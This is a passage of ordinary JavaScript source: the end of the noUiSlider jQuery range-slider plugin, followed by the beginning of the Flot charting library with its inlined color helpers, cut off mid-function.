return ((value * this.len(range)) / 100) + range[0];
}
,len: function ( range ) {
return (range[0] > range[1] ? range[0] - range[1] : range[1] - range[0]);
}
};
// When the browser supports MsPointerEvents,
// Don't bind touch or mouse events. The touch events are
// currently only implemented by IE(10), but they are stable
// and convenient to use.
if ( window.navigator.msPointerEnabled ) {
actions = {
start: 'MSPointerDown' + namespace
,move: 'MSPointerMove' + namespace
,end: 'MSPointerUp' + namespace
};
}
// Shorthand for stopping propagation on an object.
// Calling a function prevents having to define one inline.
function stopPropagation ( e ) {
e.stopPropagation();
}
// Test an array of objects, and calls them if they are a function.
function call ( f, scope, args ) {
$.each(f,function(i,q){
if (typeof q === "function") {
q.call(scope, args);
}
});
}
// Test if there is anything that should prevent an event from being
// handled, such as a disabled state of a slider moving in the 'tap' event.
function blocked ( e ) {
return ( e.data.base.data('target').is('[class*="noUi-state-"], [disabled]') );
}
function fixEvent ( e, preventDefault ) {
// Required (in at the very least Chrome) to prevent
// scrolling and panning while attempting to slide.
// The tap event also depends on this.
if( preventDefault ) {
e.preventDefault();
}
// Filter the event to register the type,
// which can be touch, mouse or pointer. Since noUiSlider 4
// so longer binds touch OR mouse, but rather touch AND mouse,
// offset changes need to be made on an event specific basis.
var jQueryEvent = e
,touch = e.type.indexOf('touch') === 0
,mouse = e.type.indexOf('mouse') === 0
,pointer = e.type.indexOf('MSPointer') === 0
,x,y;
// Fetch the event where jQuery didn't make any modifications.
e = e.originalEvent;
if (touch) {
// noUiSlider supports one movement at a time, for now.
// It is therefore safe to select the first 'changedTouch'.
x = e.changedTouches[0].pageX;
y = e.changedTouches[0].pageY;
}
if (mouse) {
// Polyfill the pageXOffset and pageYOffset
// variables for IE7 and IE8;
if(window.pageXOffset === UNDEF){
window.pageXOffset = document.documentElement.scrollLeft;
window.pageYOffset = document.documentElement.scrollTop;
}
x = e.clientX + window.pageXOffset;
y = e.clientY + window.pageYOffset;
}
if (pointer) {
x = e.pageX;
y = e.pageY;
}
return { pass: jQueryEvent.data, e:e, x:x, y:y, t: [touch, mouse, pointer] };
}
function getPercentage( a ){
return parseFloat(this.style[a]);
}
function test ( o, set ){
// Checks whether a variable is numerical.
function num(e){
return !isNaN(e) && isFinite(e);
}
// Checks whether a variable is a candidate to be a
// valid serialization target.
function ser(r){
return ( r instanceof $ || typeof r === 'string' || r === false );
}
/**
These tests are structured with an item for every option available.
Every item contains an 'r' flag, which marks a required option, and
a 't' function, which in turn takes some arguments:
- a reference to options object
- the value for the option
- the option name (optional);
The testing function returns false when an error is detected,
or true when everything is OK. Every test also has an 'init'
method which appends the parent object to all children.
**/
var TESTS = {
/* Handles. Has default, can be 1 or 2;
*/
"handles": {
r: true
,t: function(o,q){
q = parseInt(q, 10);
return ( q === 1 || q === 2 );
}
}
/* Range.
* Must be an array of two numerical floats,
* which can't be identical.
*/
,"range": {
r: true
,t: function(o,q,w){
if(q.length!==2){
return false;
}
// Reset the array to floats
q = [parseFloat(q[0]),parseFloat(q[1])];
// Test if those floats are numerical
if(!num(q[0])||!num(q[1])){
return false;
}
// When this test is run for range, the values can't
// be identical.
if(w==="range" && q[0] === q[1]){
return false;
}
o[w]=q;
return true;
}
}
/* Start.
* Must be an array of two numerical floats when handles = 2;
* Uses 'range' test.
* When handles = 1, a single float is also allowed.
*/
,"start": {
r: true
,t: function(o,q,w){
if(o.handles === 1){
if($.isArray(q)){
q=q[0];
}
q = parseFloat(q);
o.start = [q];
return num(q);
}
return this.parent.range.t(o,q,w);
}
}
/* Connect.
* Must be true or false when handles = 2;
* Can use 'lower' and 'upper' when handles = 1.
*/
,"connect": {
t: function(o,q){
return ( q === true
|| q === false
|| ( q === 'lower' && o.handles === 1)
|| ( q === 'upper' && o.handles === 1));
}
}
/* Connect.
* Will default to horizontal, not required.
*/
,"orientation": {
t: function(o,q){
return ( q === "horizontal" || q === "vertical" );
}
}
/* Margin.
* Must be a float, has a default value.
*/
,"margin": {
r: true
,t: function(o,q,w){
q = parseFloat(q);
o[w]=q;
return num(q);
}
}
/* Serialization.
* Required, but has default. Resolution option can be missing,
* 'to' can't. Must be an array when using two handles, can
* be a singular value when using one handle.
*/
,"serialization": {
r: true
,t: function(o,q){
if(!q.resolution){
o.serialization.resolution = 0.01;
} else {
switch(q.resolution){
case 1:
case 0.1:
case 0.01:
case 0.001:
case 0.0001:
case 0.00001:
break;
default:
return false;
}
}
if(q.to){
if(o.handles === 1){
// Wrap the value for one handle into an array;
if(!$.isArray(q.to)){
q.to = [q.to];
}
// Write back to the options object;
o.serialization.to = q.to;
// Run test for valid serialization target.
return ser(q.to[0]);
}
return (q.to.length === 2 && ser(q.to[0]) && ser(q.to[1]));
}
// If no 'to' option is specified,
// the serialization option is invalid.
return false;
}
}
/* Slide.
* Not required. Must be a function.
*/
,"slide": {
t: function(o,q){
return typeof q === "function";
}
}
/* Slide.
* Not required. Tested using the 'margin' function.
*/
,"step": {
t: function(o,q,w){
return this.parent.margin.t(o,q,w);
}
}
/* [init]
* Not an option test. Calling this method will return the
* parent object with some cross references that allow crawling
* the object upward, which normally isn't possible in Javascript.
*/
,"init": function(){
var obj = this;
$.each(obj,function(i,c){
c.parent = obj;
});
delete this.init;
return this;
}
},
// Prepare a set of tests, by adding some internal reference
// values not available in native Javascript object implementation.
a = TESTS.init();
// Loop all provided tests;
// v is the option set, i is the index for the current test.
$.each(a, function( i, v ){
// If the value is required but not set,
// or if the test fails, throw an error.
if((v.r && (!o[i] && o[i] !== 0)) || ((o[i] || o[i] === 0) && !v.t(o,o[i],i))){
// For debugging purposes it might be very useful
// to know what option caused the trouble.
if(console&&console.log){
console.log(
"Slider:\t\t\t", set,
"\nOption:\t\t\t", i,
"\nValue:\t\t\t", o[i]
);
}
// Since 'error' will prevent further script execution,
// log the error first.
$.error("Error on noUiSlider initialisation.");
return false;
}
});
}
function closest( value, to ){
// Round a value to the closest 'to'.
// Used with the 'step' option.
return Math.round(value / to) * to;
}
function setHandle ( handle, to, forgive ) {
var nui = handle.data('nui').options
// Get the array of handles from the base.
// Will be undefined at initialisation.
,handles = handle.data('nui').base.data(clsList[12])
// Get some settings from the handle;
,style = handle.data('nui').style
,dec = handle.data('nui').decimals
,hLimit;
// Ignore the call if the handle won't move anyway.
if(to === handle[0].getPercentage(style)) {
return false;
}
// Limit 'to' to 0 - 100
to = to < 0 ? 0 : to > 100 ? 100 : to;
// Handle the step option, or ignore it.
if( nui.step && !forgive ){
to = closest( to, percentage.from(nui.range, nui.step));
}
// Stop handling this call if the handle won't step to a new value.
if(to === handle[0].getPercentage(style)) {
return false;
}
// We're done if this is the only handle,
// if the handle bounce is trusted to the user
// or on initialisation when handles isn't defined yet.
if( handle.siblings('.' + clsList[1]).length && !forgive && handles ){
// Otherwise, the handle should bounce,
// and stop at the other handle.
if ( handle.data('nui').number ) {
hLimit = handles[0][0].getPercentage(style) + nui.margin;
to = to < hLimit ? hLimit : to;
} else {
hLimit = handles[1][0].getPercentage(style) - nui.margin;
to = to > hLimit ? hLimit : to;
}
// Stop handling this call if the handle can't move past another.
if(to === handle[0].getPercentage(style)) {
return false;
}
}
// Fix for the z-index issue where the lower handle gets stuck
// below the upper one. Since this function is called for every
// movement, toggleClass cannot be used.
if(handle.data('nui').number === 0 && to > 95){
handle.addClass(clsList[14]);
} else {
handle.removeClass(clsList[14]);
}
// Set handle to new location
handle.css( style , to + '%');
// Write the value to the serialization object.
handle.data('store').val(percentage.is(nui.range, to).toFixed(dec));
return true;
}
function store ( handle, S ) {
var i = handle.data('nui').number;
if( S.to[i] instanceof $ ) {
// Attach a change event to the supplied jQuery object,
// which will just trigger the val function on the parent.
// In some cases, the change event will not fire on select elements,
// so listen to 'blur' too.
return S.to[i].on('change'+namespace+' blur'+namespace, function(){
var arr = [null, null];
arr[i] = $(this).val();
handle.data('nui').target.val(arr, true);
});
}
if ( typeof S.to[i] === "string" ) {
// Append a new object to the noUiSlider base,
// prevent change events flowing upward.
return $('<input type="hidden" class="'+clsList[3]+'" name="' + S.to[i] + '">')
.appendTo(handle).change(stopPropagation);
}
if ( S.to[i] === false ) {
// Create an object capable of handling all jQuery calls.
return {
// The value will be stored a data on the handle.
val : function(a) {
// Value function provides a getter and a setter.
// Can't just test for !a, as a might be 0.
if ( a === UNDEF ) {
// Either set...
return this.handleElement.data('nui-val');
}
// ... or return;
this.handleElement.data('nui-val', a);
}
// The object could be mistaken for a jQuery object,
// make sure that doesn't trigger any errors.
,hasClass: function(){
return false;
}
// The val function needs access to the handle.
,handleElement: handle
};
}
}
function move( event ) {
// This function is called often, keep it light.
event = fixEvent( event, true );
if(!event) {
return;
}
var base = event.pass.base
,style = base.data('style')
// Subtract the initial movement from the current event,
// while taking vertical sliders into account.
,proposal = event.x - event.pass.startEvent.x
,baseSize = style === 'left' ? base.width() : base.height();
// This loop prevents a long ternary for the proposal variable.
if(style === 'top') {
proposal = event.y - event.pass.startEvent.y;
}
proposal = event.pass.position + ( ( proposal * 100 ) / baseSize );
setHandle( event.pass.handle, proposal );
// Trigger the 'slide' event, pass the target so that it is 'this'.
call(
[ event.pass.base.data('options').slide ]
,event.pass.base.data('target')
);
}
function end ( event ) {
if ( blocked( event ) ) {
return;
}
// Handle is no longer active;
event.data.handle.children().removeClass(clsList[4]);
// Unbind move and end events, to prevent
// them stacking up over and over;
all.off(actions.move);
all.off(actions.end);
$('body').off(namespace);
event.data.base.data('target').change();
}
function start ( event ) {
// When the slider is in a transitional state, stop.
// Also prevents interaction with disabled sliders.
if ( blocked( event ) ) {
return;
}
event = fixEvent( event );
if(!event) {
return;
}
var handle = event.pass.handle
,position = handle[0].getPercentage( handle.data('nui').style );
handle.children().addClass('noUi-active');
// Attach the move event handler, while
// passing all relevant information along.
all.on(actions.move, {
startEvent: event
,position: position
,base: event.pass.base
,handle: handle
}, move);
all.on(actions.end, { base: event.pass.base, handle: handle }, end);
// Prevent text selection when dragging the handles.
// This doesn't prevent the browser defaulting to the I like cursor.
$('body').on('selectstart' + namespace, function(){ return false; });
}
function selfEnd( event ) {
// Trigger the end handler. Supply correct data using a
// fake object that contains all required information;
end({ data: { base: event.data.base, handle: event.data.handle } });
// Stop propagation so that the tap handler doesn't interfere;
event.stopPropagation();
}
function tap ( event ) {
if ( blocked( event ) || event.data.base.find('.' + clsList[4]).length ) {
return;
}
event = fixEvent( event );
// The event handler might have rejected this event.
if(!event) {
return;
}
// Getting variables from the event is not required, but
// shortens other expressions and is far more convenient;
var i, handle, hCenter, base = event.pass.base
,handles = event.pass.handles
,style = base.data('style')
,eventXY = event[style === 'left' ? 'x' : 'y']
,baseSize = style === 'left' ? base.width() : base.height()
// Create a standard set off offsets compensated with the
// scroll distance. When required, correct for scrolling.
// This is a bug, as far as I can see, in IE(10?).
,correction = {
x: ( event.t[2] ? window.pageXOffset : 0 )
}
,offset = {
handles: []
,base: {
left: base.offset().left - correction.x
,top: base.offset().top
}
};
// Loop handles and add data to the offset list.
for (i = 0; i < handles.length; i++ ) {
offset.handles.push({
left: handles[i].offset().left - correction.x
,top: handles[i].offset().top
});
}
// Calculate the central point between the handles;
hCenter = handles.length === 1 ? 0 :
(( offset.handles[0][style] + offset.handles[1][style] ) / 2 );
// If there is just one handle,
// or the lower handles in closest to the event,
// select the first handle. Otherwise, pick the second.
if ( handles.length === 1 || eventXY < hCenter ){
handle = handles[0];
} else {
handle = handles[1];
}
// Flag the slider as it is now in a transitional state.
// Transition takes 300 ms, so re-enable the slider afterwards.
base.addClass(clsList[5]);
setTimeout(function(){
base.removeClass(clsList[5]);
}, 300);
// Calculate the new position for the handle and
// trigger the movement.
setHandle(
handle
,(((eventXY - offset.base[style]) * 100) / baseSize)
);
// Trigger the 'slide' event, pass the target so that it is 'this'.
call(
[ handle.data('nui').options.slide ]
,base.data('target')
);
base.data('target').change();
}
function create ( ) {
return this.each(function( index, target ){
// Target is the wrapper that will receive all external
// scripting interaction. It has no styling and serves no
// other function.
target = $(target);
target.addClass(clsList[6]);
// Base is the internal main 'bar'.
var i, style, decimals, handle
,base = $('<div/>').appendTo(target)
,handles = []
,cls = {
base: stdCls.base
,origin: [
stdCls.origin.concat([clsList[1] + clsList[7]])
,stdCls.origin.concat([clsList[1] + clsList[8]])
]
,handle: [
stdCls.handle.concat([clsList[2] + clsList[7]])
,stdCls.handle.concat([clsList[2] + clsList[8]])
]
};
// Set defaults where applicable;
options = $.extend({
handles: 2
,margin: 0
,orientation: "horizontal"
}, options) || {};
// Set a default for serialization;
if(!options.serialization){
options.serialization = {
to : [false, false]
,resolution : 0.01
};
}
// Run all options through a testing mechanism to ensure correct
// input. The test function will throw errors, so there is
// no need to capture the result of this call. It should be noted
// that options might get modified to be handled properly. E.g.
// wrapping integers in arrays.
test(options, target);
// I can't type serialization any more, and it doesn't compress
// very well, so shorten it.
options.S = options.serialization;
// INCOMPLETE
if( options.connect ) {
cls.origin[0].push(clsList[9]);
if( options.connect === "lower" ){
// Add some styling classes to the base;
cls.base.push(clsList[9], clsList[9] + clsList[7]);
// When using the option 'Lower', there is only one
// handle, and thus only one origin.
cls.origin[0].push(clsList[13]);
} else {
cls.base.push(clsList[9] + clsList[8]);
}
}
// Parse the syntactic sugar that is the serialization
// resolution option to a usable integer.
style = options.orientation === 'vertical' ? 'top' : 'left';
decimals = options.S.resolution.toString().split('.');
// Checking for a string "1", since the resolution needs
// to be cast to a string to split in on the period.
decimals = decimals[0] === "1" ? 0 : decimals[1].length;
// Add classes for horizontal and vertical sliders.
// The horizontal class is provided for completeness,
// as it isn't used in the default theme.
if( options.orientation === "vertical" ){
cls.base.push(clsList[10]);
} else {
cls.base.push(clsList[11]);
}
// Merge base classes with default;
base.addClass(cls.base.join(" ")).data('target', target);
for (i = 0; i < options.handles; i++ ) {
handle = $('<div><div/></i>').appendTo(base);
// Add all default and option-specific classes to the
// origins and handles.
handle.addClass(cls.origin[i].join(" "));
handle.children().addClass(cls.handle[i].join(" "));
// These events are only bound to the visual handle element,
// not the 'real' origin element.
handle.children()
.on(actions.start, { base: base, handle: handle }, start)
.on(actions.end, { base: base, handle: handle }, selfEnd);
// Make sure every handle has access to all primary
// variables. Can't uses jQuery's .data( obj ) structure
// here, as 'store' needs some values from the 'nui' object.
handle.data('nui', {
target: target
,decimals: decimals
,options: options
,base: base
,style: style
,number: i
}).data('store', store (
handle
,options.S
));
// Attach a function to the native DOM element,
// since jQuery wont let me get the current value in percentages.
handle[0].getPercentage = getPercentage;
// Make handles loop-able
handles.push(handle);
// Set the handle to its initial position;
setHandle(handle, percentage.to(options.range, options.start[i]));
}
// The base could use the handles too;
base.data({
options: options
,handles: handles
,style: style
});
// Add a downstream reference to the target as well.
target.data({
base: base
,handles: handles
});
// The tap event.
base.on(actions.end, { base: base, handles: handles }, tap);
});
}
function val ( args, ignore ) {
// Setter
if( args !== UNDEF ){
// If the val is to be set to a number, which is valid
// when using a one-handle slider, wrap it in an array.
if(!$.isArray(args)){
args = [args];
}
// Setting is handled properly for each slider in the data set.
return this.each(function(){
$.each($(this).data(clsList[12]), function(i, handle){
// The set request might want to ignore this handle.
if( args[i] === null ) {
return;
}
// Calculate a new position for the handle.
var value, current
,range = handle.data('nui').options.range
,to = percentage.to(
range
,parseFloat(args[i])
),
// Set handle to new location, and make sure developer
// input is always accepted. The ignore flag indicates
// input from user facing elements.
result = setHandle(handle, to, (ignore === true ? false : true));
// If the value of the input doesn't match the slider,
// reset it.
if(!result){
// Get the 'store' object, which can be an input element
// or a wrapper arround a 'data' call.
value = handle.data('store').val();
current = percentage.is(range,
handle[0].getPercentage(handle.data('nui').style)
).toFixed(handle.data('nui').decimals);
// Sometimes the input is changed to a value the slider
// has rejected. This can occur when using 'select' or
// 'input[type="number"]' elements. In this case,
// set the value back to the input.
if(value !== current){
handle.data('store').val(current);
}
}
});
});
}
// Or, if the function was called without arguments,
// act as a 'getter';
var re = [];
// Loop the handles, and get the value from the input
// for every handle on its' own.
$.each($(this).data(clsList[12]), function(i, handle){
re.push( handle.data('store').val() );
});
// If the slider has just one handle, return a single value.
// Otherwise, return an array.
return ( re.length === 1 ? re[0] : re) ;
}
// Overwrite the native jQuery val() function
// with a simple handler. noUiSlider will use the internal
// value method, anything else will use the standard method.
$.fn.val = function(){
return this.hasClass(clsList[6])
? val.apply(this, arguments)
: $VAL.apply(this, arguments);
};
return create.apply(this, arguments);
};
}(jQuery));
| JavaScript |
/*! Javascript plotting library for jQuery, v. 0.7.
*
* Released under the MIT license by IOLA, December 2007.
*
*/
// first an inline dependency, jquery.colorhelpers.js, we inline it here
// for convenience
/* Plugin for jQuery for working with colors.
*
* Version 1.1.
*
* Inspiration from jQuery color animation plugin by John Resig.
*
* Released under the MIT license by Ole Laursen, October 2009.
*
* Examples:
*
* $.color.parse("#fff").scale('rgb', 0.25).add('a', -0.5).toString()
* var c = $.color.extract($("#mydiv"), 'background-color');
* console.log(c.r, c.g, c.b, c.a);
* $.color.make(100, 50, 25, 0.4).toString() // returns "rgba(100,50,25,0.4)"
*
* Note that .scale() and .add() return the same modified object
* instead of making a new one.
*
* V. 1.1: Fix error handling so e.g. parsing an empty string does
* produce a color rather than just crashing.
*/
(function(B){B.color={};B.color.make=function(F,E,C,D){var G={};G.r=F||0;G.g=E||0;G.b=C||0;G.a=D!=null?D:1;G.add=function(J,I){for(var H=0;H<J.length;++H){G[J.charAt(H)]+=I}return G.normalize()};G.scale=function(J,I){for(var H=0;H<J.length;++H){G[J.charAt(H)]*=I}return G.normalize()};G.toString=function(){if(G.a>=1){return"rgb("+[G.r,G.g,G.b].join(",")+")"}else{return"rgba("+[G.r,G.g,G.b,G.a].join(",")+")"}};G.normalize=function(){function H(J,K,I){return K<J?J:(K>I?I:K)}G.r=H(0,parseInt(G.r),255);G.g=H(0,parseInt(G.g),255);G.b=H(0,parseInt(G.b),255);G.a=H(0,G.a,1);return G};G.clone=function(){return B.color.make(G.r,G.b,G.g,G.a)};return G.normalize()};B.color.extract=function(D,C){var E;do{E=D.css(C).toLowerCase();if(E!=""&&E!="transparent"){break}D=D.parent()}while(!B.nodeName(D.get(0),"body"));if(E=="rgba(0, 0, 0, 0)"){E="transparent"}return B.color.parse(E)};B.color.parse=function(F){var E,C=B.color.make;if(E=/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(F)){return C(parseInt(E[1],10),parseInt(E[2],10),parseInt(E[3],10))}if(E=/rgba\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]+(?:\.[0-9]+)?)\s*\)/.exec(F)){return C(parseInt(E[1],10),parseInt(E[2],10),parseInt(E[3],10),parseFloat(E[4]))}if(E=/rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(F)){return C(parseFloat(E[1])*2.55,parseFloat(E[2])*2.55,parseFloat(E[3])*2.55)}if(E=/rgba\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\s*\)/.exec(F)){return C(parseFloat(E[1])*2.55,parseFloat(E[2])*2.55,parseFloat(E[3])*2.55,parseFloat(E[4]))}if(E=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(F)){return C(parseInt(E[1],16),parseInt(E[2],16),parseInt(E[3],16))}if(E=/#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(F)){return C(parseInt(E[1]+E[1],16),parseInt(E[2]+E[2],16),parseInt(E[3]+E[3],16))}var D=B.trim(F).toLowerCase();if(D=="transparent"){return C(255,255,255,0)}else{E=A[D]||[0,0,0];return C(E[0],E[1],E[2])}};var A={aqua:[0,255,255],azure:[240,255,255],beige:[245,245,220],black:[0,0,0],blue:[0,0,255],brown:[165,42,42],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgrey:[169,169,169],darkgreen:[0,100,0],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkviolet:[148,0,211],fuchsia:[255,0,255],gold:[255,215,0],green:[0,128,0],indigo:[75,0,130],khaki:[240,230,140],lightblue:[173,216,230],lightcyan:[224,255,255],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightyellow:[255,255,224],lime:[0,255,0],magenta:[255,0,255],maroon:[128,0,0],navy:[0,0,128],olive:[128,128,0],orange:[255,165,0],pink:[255,192,203],purple:[128,0,128],violet:[128,0,128],red:[255,0,0],silver:[192,192,192],white:[255,255,255],yellow:[255,255,0]}})(jQuery);
// the actual Flot code
(function($) {
function Plot(placeholder, data_, options_, plugins) {
// data is on the form:
// [ series1, series2 ... ]
// where series is either just the data as [ [x1, y1], [x2, y2], ... ]
// or { data: [ [x1, y1], [x2, y2], ... ], label: "some label", ... }
var myRetinaMdo = (window.devicePixelRatio > 1),
series = [],
options = {
// the color theme used for graphs
colors: ["#931313", "#638167", "#65596B", "#60747C", "#B09B5B"],
legend: {
show: true,
noColumns: 0, // number of colums in legend table
labelFormatter: null, // fn: string -> string
labelBoxBorderColor: "", // border color for the little label boxes
container: null, // container (as jQuery object) to put legend in, null means default on top of graph
position: "ne", // position of default legend container within plot
margin: [-5, -32], // distance from grid edge to default legend container within plot
backgroundColor: "", // null means auto-detect
backgroundOpacity: 1 // set to 0 to avoid background
},
xaxis: {
show: null, // null = auto-detect, true = always, false = never
position: "bottom", // or "top"
mode: null, // null or "time"
color: null, // base color, labels, ticks
tickColor: null, // possibly different color of ticks, e.g. "rgba(0,0,0,0.15)"
transform: null, // null or f: number -> number to transform axis
inverseTransform: null, // if transform is set, this should be the inverse function
min: null, // min. value to show, null means set automatically
max: null, // max. value to show, null means set automatically
autoscaleMargin: null, // margin in % to add if auto-setting min/max
ticks: null, // either [1, 3] or [[1, "a"], 3] or (fn: axis info -> ticks) or app. number of ticks for auto-ticks
tickFormatter: null, // fn: number -> string
labelWidth: null, // size of tick labels in pixels
labelHeight: null,
reserveSpace: null, // whether to reserve space even if axis isn't shown
tickLength: null, // size in pixels of ticks, or "full" for whole line
alignTicksWithAxis: null, // axis number or null for no sync
// mode specific options
tickDecimals: null, // no. of decimals, null means auto
tickSize: null, // number or [number, "unit"]
minTickSize: null, // number or [number, "unit"]
monthNames: null, // list of names of months
timeformat: null, // format string to use
twelveHourClock: false // 12 or 24 time in time mode
},
yaxis: {
autoscaleMargin: 0.02,
position: "left" // or "right"
},
xaxes: [],
yaxes: [],
series: {
points: {
show: false,
radius: 3,
lineWidth: 2, // in pixels
fill: true,
fillColor: "#ffffff",
symbol: "circle" // or callback
},
lines: {
// we don't put in show: false so we can see
// whether lines were actively disabled
lineWidth: 2, // in pixels
fill: false,
fillColor: null,
steps: false
},
bars: {
show: false,
lineWidth: 1, // in pixels
barWidth: 1, // in units of the x axis
fill: true,
fillColor: { colors: [ { opacity: 0.7 }, { opacity: 1 } ] },
align: "left", // or "center"
horizontal: false
},
shadowSize: 0
},
grid: {
show: true,
aboveData: false,
color: "#545454", // primary color used for outline and labels
backgroundColor: null, // null for transparent, else color
borderColor: "#efefef", // set if different from the grid color
tickColor: "rgba(0,0,0,0.06)", // color for the ticks, e.g. "rgba(0,0,0,0.15)"
labelMargin: 10, // in pixels
axisMargin: 8, // in pixels
borderWidth: 0, // in pixels
minBorderMargin: 10, // in pixels, null means taken from points radius
markings: null, // array of ranges or fn: axes -> array of ranges
markingsColor: "#f4f4f4",
markingsLineWidth: 2,
// interactive stuff
clickable: false,
hoverable: false,
autoHighlight: true, // highlight in case mouse is near
mouseActiveRadius: 5 // how far the mouse can be away to activate an item
},
hooks: {}
},
canvas = null, // the canvas for the plot itself
overlay = null, // canvas for interactive stuff on top of plot
eventHolder = null, // jQuery object that events should be bound to
ctx = null, octx = null,
xaxes = [], yaxes = [],
plotOffset = { left: 0, right: 0, top: 0, bottom: 0},
canvasWidth = 0, canvasHeight = 0,
plotWidth = 0, plotHeight = 0,
hooks = {
processOptions: [],
processRawData: [],
processDatapoints: [],
drawSeries: [],
draw: [],
bindEvents: [],
drawOverlay: [],
shutdown: []
},
plot = this;
// public functions
plot.setData = setData;
plot.setupGrid = setupGrid;
plot.draw = draw;
plot.getPlaceholder = function() { return placeholder; };
plot.getCanvas = function() { return canvas; };
plot.getPlotOffset = function() { return plotOffset; };
plot.width = function () { return plotWidth; };
plot.height = function () { return plotHeight; };
plot.offset = function () {
var o = eventHolder.offset();
o.left += plotOffset.left;
o.top += plotOffset.top;
return o;
};
plot.getData = function () { return series; };
plot.getAxes = function () {
var res = {}, i;
$.each(xaxes.concat(yaxes), function (_, axis) {
if (axis)
res[axis.direction + (axis.n != 1 ? axis.n : "") + "axis"] = axis;
});
return res;
};
plot.getXAxes = function () { return xaxes; };
plot.getYAxes = function () { return yaxes; };
plot.c2p = canvasToAxisCoords;
plot.p2c = axisToCanvasCoords;
plot.getOptions = function () { return options; };
plot.highlight = highlight;
plot.unhighlight = unhighlight;
plot.triggerRedrawOverlay = triggerRedrawOverlay;
plot.pointOffset = function(point) {
return {
left: parseInt(xaxes[axisNumber(point, "x") - 1].p2c(+point.x) + plotOffset.left),
top: parseInt(yaxes[axisNumber(point, "y") - 1].p2c(+point.y) + plotOffset.top)
};
};
plot.shutdown = shutdown;
plot.resize = function () {
getCanvasDimensions();
resizeCanvas(canvas);
resizeCanvas(overlay);
};
// public attributes
plot.hooks = hooks;
// initialize
initPlugins(plot);
parseOptions(options_);
setupCanvases();
setData(data_);
setupGrid();
draw();
bindEvents();
function executeHooks(hook, args) {
args = [plot].concat(args);
for (var i = 0; i < hook.length; ++i)
hook[i].apply(this, args);
}
function initPlugins() {
for (var i = 0; i < plugins.length; ++i) {
var p = plugins[i];
p.init(plot);
if (p.options)
$.extend(true, options, p.options);
}
}
function parseOptions(opts) {
var i;
$.extend(true, options, opts);
if (options.xaxis.color == null)
options.xaxis.color = options.grid.color;
if (options.yaxis.color == null)
options.yaxis.color = options.grid.color;
if (options.xaxis.tickColor == null) // backwards-compatibility
options.xaxis.tickColor = options.grid.tickColor;
if (options.yaxis.tickColor == null) // backwards-compatibility
options.yaxis.tickColor = options.grid.tickColor;
if (options.grid.borderColor == null)
options.grid.borderColor = options.grid.color;
if (options.grid.tickColor == null)
options.grid.tickColor = $.color.parse(options.grid.color).scale('a', 0.22).toString();
// fill in defaults in axes, copy at least always the
// first as the rest of the code assumes it'll be there
for (i = 0; i < Math.max(1, options.xaxes.length); ++i)
options.xaxes[i] = $.extend(true, {}, options.xaxis, options.xaxes[i]);
for (i = 0; i < Math.max(1, options.yaxes.length); ++i)
options.yaxes[i] = $.extend(true, {}, options.yaxis, options.yaxes[i]);
// backwards compatibility, to be removed in future
if (options.xaxis.noTicks && options.xaxis.ticks == null)
options.xaxis.ticks = options.xaxis.noTicks;
if (options.yaxis.noTicks && options.yaxis.ticks == null)
options.yaxis.ticks = options.yaxis.noTicks;
if (options.x2axis) {
options.xaxes[1] = $.extend(true, {}, options.xaxis, options.x2axis);
options.xaxes[1].position = "top";
}
if (options.y2axis) {
options.yaxes[1] = $.extend(true, {}, options.yaxis, options.y2axis);
options.yaxes[1].position = "right";
}
if (options.grid.coloredAreas)
options.grid.markings = options.grid.coloredAreas;
if (options.grid.coloredAreasColor)
options.grid.markingsColor = options.grid.coloredAreasColor;
if (options.lines)
$.extend(true, options.series.lines, options.lines);
if (options.points)
$.extend(true, options.series.points, options.points);
if (options.bars)
$.extend(true, options.series.bars, options.bars);
if (options.shadowSize != null)
options.series.shadowSize = options.shadowSize;
// save options on axes for future reference
for (i = 0; i < options.xaxes.length; ++i)
getOrCreateAxis(xaxes, i + 1).options = options.xaxes[i];
for (i = 0; i < options.yaxes.length; ++i)
getOrCreateAxis(yaxes, i + 1).options = options.yaxes[i];
// add hooks from options
for (var n in hooks)
if (options.hooks[n] && options.hooks[n].length)
hooks[n] = hooks[n].concat(options.hooks[n]);
executeHooks(hooks.processOptions, [options]);
}
function setData(d) {
series = parseData(d);
fillInSeriesOptions();
processData();
}
function parseData(d) {
var res = [];
for (var i = 0; i < d.length; ++i) {
var s = $.extend(true, {}, options.series);
if (d[i].data != null) {
s.data = d[i].data; // move the data instead of deep-copy
delete d[i].data;
$.extend(true, s, d[i]);
d[i].data = s.data;
}
else
s.data = d[i];
res.push(s);
}
return res;
}
function axisNumber(obj, coord) {
var a = obj[coord + "axis"];
if (typeof a == "object") // if we got a real axis, extract number
a = a.n;
if (typeof a != "number")
a = 1; // default to first axis
return a;
}
function allAxes() {
// return flat array without annoying null entries
return $.grep(xaxes.concat(yaxes), function (a) { return a; });
}
function canvasToAxisCoords(pos) {
// return an object with x/y corresponding to all used axes
var res = {}, i, axis;
for (i = 0; i < xaxes.length; ++i) {
axis = xaxes[i];
if (axis && axis.used)
res["x" + axis.n] = axis.c2p(pos.left);
}
for (i = 0; i < yaxes.length; ++i) {
axis = yaxes[i];
if (axis && axis.used)
res["y" + axis.n] = axis.c2p(pos.top);
}
if (res.x1 !== undefined)
res.x = res.x1;
if (res.y1 !== undefined)
res.y = res.y1;
return res;
}
function axisToCanvasCoords(pos) {
// get canvas coords from the first pair of x/y found in pos
var res = {}, i, axis, key;
for (i = 0; i < xaxes.length; ++i) {
axis = xaxes[i];
if (axis && axis.used) {
key = "x" + axis.n;
if (pos[key] == null && axis.n == 1)
key = "x";
if (pos[key] != null) {
